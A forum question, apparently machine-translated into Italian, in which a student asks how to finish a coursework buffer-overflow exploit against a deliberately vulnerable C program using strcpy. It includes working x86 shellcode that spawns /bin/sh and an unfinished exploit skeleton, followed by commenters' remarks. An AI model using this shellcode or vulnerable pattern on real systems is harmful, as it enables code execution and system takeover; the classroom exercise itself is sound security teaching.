Sto cercando di capire questo problema per una delle mie classi comp sci, ho utilizzato tutte le risorse e ho ancora problemi, se qualcuno potesse fornire qualche intuizione, lo apprezzerei molto.Programma di sfruttamento del buffer overflow intenzionale
Ho questo "target" Ho bisogno di eseguire un execve ("/ bin/sh") con l'exploit buffer overflow. Nell'overflow di buf [128], quando si esegue il comando strcpy non sicuro, viene visualizzato un puntatore nel buffer nel punto in cui il sistema si aspetta di trovare l'indirizzo di ritorno.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
comprendo devo occupare argv [1] con oltre 128 byte, il i byte superiori a 128 sono l'indirizzo di ritorno, che dovrebbe essere indirizzato al buffer in modo che esegua/bin/sh all'interno. È così corretto finora? Qualcuno può fornire il prossimo passo?
Grazie mille per qualsiasi aiuto.
Un overflow dello stack e un overflow del buffer sono due cose completamente diverse. – BoltClock
Questo dipende in gran parte dal tuo sistema (compilatore, CPU, ecc.) E non ti sei preso la briga di specificarlo. –
Non ho potuto fare a meno di notare che il tuo codice shell è una copia esatta di quello trovato [qui] (http://insecure.org/stf/smashstack.html). Dovresti probabilmente leggere questo articolo e capire cosa sta succedendo in modo da poter implementare il tuo. Il plagio all'università è roba seria. – Paul